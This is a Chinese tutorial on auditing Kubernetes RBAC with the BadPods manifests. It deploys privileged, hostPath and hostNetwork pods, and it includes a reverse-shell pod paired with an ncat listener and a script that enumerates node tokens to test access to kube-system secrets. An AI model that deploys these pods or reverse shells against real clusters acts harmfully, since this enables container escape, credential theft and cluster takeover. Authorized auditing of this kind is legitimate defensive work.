Kubernetes权限审计实战:基于BadPods的RBAC权限边界测试
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
BadPods是一个专注于Kubernetes权限边界测试的开源项目,通过提供一系列预配置的清单文件,帮助安全工程师和DevOps团队快速识别集群中存在的权限过度分配风险。本文将详细介绍如何利用BadPods进行实战化的RBAC权限审计,通过模拟真实攻击场景来验证集群的安全边界。
为什么需要Kubernetes权限审计?
随着Kubernetes在生产环境中的广泛应用,容器编排平台的安全问题日益凸显。根据2023年云原生安全报告显示,超过65%的Kubernetes集群存在至少一项高危权限配置问题,其中最常见的包括:
- 过度宽松的PodSecurityPolicy配置
- 未受限制的主机资源访问(hostPath、hostNetwork等)
- 过度授权的Service Account令牌
- 缺乏最小权限原则的RBAC策略
这些配置缺陷可能导致攻击者通过恶意Pod实现权限提升、节点逃逸甚至整个集群的接管。BadPods项目正是为解决这些问题而生,它提供了一套标准化的测试用例,能够帮助团队在真实攻击发生前发现并修复权限配置问题。
BadPods项目结构与核心功能
BadPods项目包含8种不同权限级别的恶意Pod定义,每种Pod针对特定的安全敏感属性进行配置。项目的核心结构如下:
manifests/ ├── everything-allowed/ # 拥有全部特权的Pod ├── priv-and-hostpid/ # 特权模式+主机PID命名空间 ├── priv/ # 仅特权模式 ├── hostpath/ # 仅主机路径挂载 ├── hostpid/ # 仅主机PID命名空间 ├── hostnetwork/ # 仅主机网络 ├── hostipc/ # 仅主机IPC命名空间 └── nothing-allowed/ # 无特殊权限的对照组每个权限类型下又包含8种不同的Kubernetes资源定义(Pod、Deployment、DaemonSet等),以及两种访问方式(exec直接执行和reverse shell反向连接),总计提供128个即用型安全测试清单。
快速开始:BadPods环境部署
环境准备
进行BadPods测试前,需确保满足以下条件:
- 拥有Kubernetes集群访问权限
- 具备创建至少一种工作负载资源的RBAC权限
- 能够执行
kubectl exec命令或配置网络策略允许反向连接
安装步骤
- 克隆项目仓库:
git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods- 部署基础测试Pod套件:
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml- 验证部署结果:
kubectl get pods | grep -E "everything-allowed|priv|hostpath"核心测试场景与实施方法
1. 特权Pod权限边界测试
特权Pod(Privileged Pod)是最危险的配置之一,它拥有主机系统的root权限,几乎可以执行任何操作。BadPods提供了专门的测试用例来验证集群是否允许创建特权Pod。
测试步骤:
# 部署特权Pod测试用例 kubectl apply -f manifests/priv/pod/priv-exec-pod.yaml # 检查Pod状态 kubectl get pods -l app=priv-exec-pod # 若Pod成功运行,执行权限测试 kubectl exec -it <pod-name> -- bash -c "cat /proc/1/cgroup"预期结果:
- 安全配置的集群应拒绝创建特权Pod
- 若Pod创建成功,表明集群存在严重权限缺陷,需立即修复
2. 主机资源访问测试
Kubernetes允许Pod通过特定配置访问主机系统资源,包括文件系统、网络栈、进程空间等。这些配置如果被滥用,将导致严重的安全风险。
HostPath挂载测试:
# 部署hostPath测试Pod kubectl apply -f manifests/hostpath/pod/hostpath-exec-pod.yaml # 检查是否成功挂载主机根文件系统 kubectl exec -it <pod-name> -- ls /hostHostNetwork测试:
# 部署hostNetwork测试Pod kubectl apply -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml # 检查网络命名空间 kubectl exec -it <pod-name> -- ip addr | grep -E "eth0|lo"3. RBAC权限映射分析
BadPods项目提供了一个强大的辅助脚本can-they.sh,能够帮助分析当前集群中各Service Account的实际权限范围。
脚本使用方法:
# 从Pod内部运行(适用于hostPath或everything-allowed类型Pod) ./scripts/can-they.sh "-i list secrets -n kube-system" # 从外部运行(适用于priv-and-hostpid类型Pod) ./scripts/can-they.sh -n default -p priv-and-hostpid-exec-pod -i "create pods -n kube-system"输出解读: 脚本将遍历集群中的所有令牌,测试指定操作的权限,并输出类似以下结果:
-------------------------------------------------------- Token Location: /host/var/lib/kubelet/pods/xxxx/token Can I list secrets -n kube-system? yes权限审计报告与修复建议
完成BadPods测试后,需要根据结果生成权限审计报告,重点关注以下几个方面:
关键发现项
高危权限配置:
- 允许创建特权Pod的命名空间
- 拥有hostPath挂载权限的Service Account
- 能够访问主机网络/进程的工作负载
过度授权分析:
- 列出所有能够创建多种资源类型的角色
- 识别具有cluster-admin等效权限的账户
- 检查是否存在通配符权限(如
*资源或*动词)
修复建议
实施最小权限原则:
- 为每个应用创建专用Service Account
- 严格限制角色权限,避免使用通配符
- 定期审查并撤销不再需要的权限
启用Pod安全标准:
- 在Kubernetes 1.25+中启用PodSecurity Admission
- 为不同环境配置适当的安全级别(Privileged、Baseline、Restricted)
- 对关键命名空间实施严格的安全策略
增强监控与检测:
- 部署Audit Log监控异常权限使用
- 配置Prometheus规则告警特权Pod创建
- 实施运行时安全监控解决方案
高级使用技巧:定制化测试方案
批量测试所有资源类型
BadPods支持通过find命令批量部署同一权限级别的所有资源类型:
# 部署everything-allowed类型的所有exec资源 find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \; # 清理测试资源 find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;反向Shell测试
当无法直接执行kubectl exec时,可以使用BadPods提供的反向Shell测试用例:
# 在本地启动监听 ncat --ssl -vlp 4433 # 在目标集群部署反向Shell Pod HOST="your-ip" PORT="4433" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -总结与最佳实践
Kubernetes权限审计是云原生安全的关键环节,BadPods项目为这一过程提供了标准化、可重复的测试方法。通过本文介绍的方法,安全团队可以:
- 快速评估Kubernetes集群的权限配置风险
- 验证RBAC策略的有效性和边界
- 识别并修复过度宽松的安全配置
- 建立持续的权限监控与审计流程
建议将BadPods测试整合到CI/CD流程中,作为集群部署前的安全检查环节,同时定期(如每季度)进行全面的权限审计,确保随着集群的演化,安全边界得到持续维护。
最后需要强调的是,BadPods项目仅用于合法的安全测试和审计目的,未经授权的使用可能违反法律法规和组织政策。始终在获得明确授权的情况下进行安全测试。
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考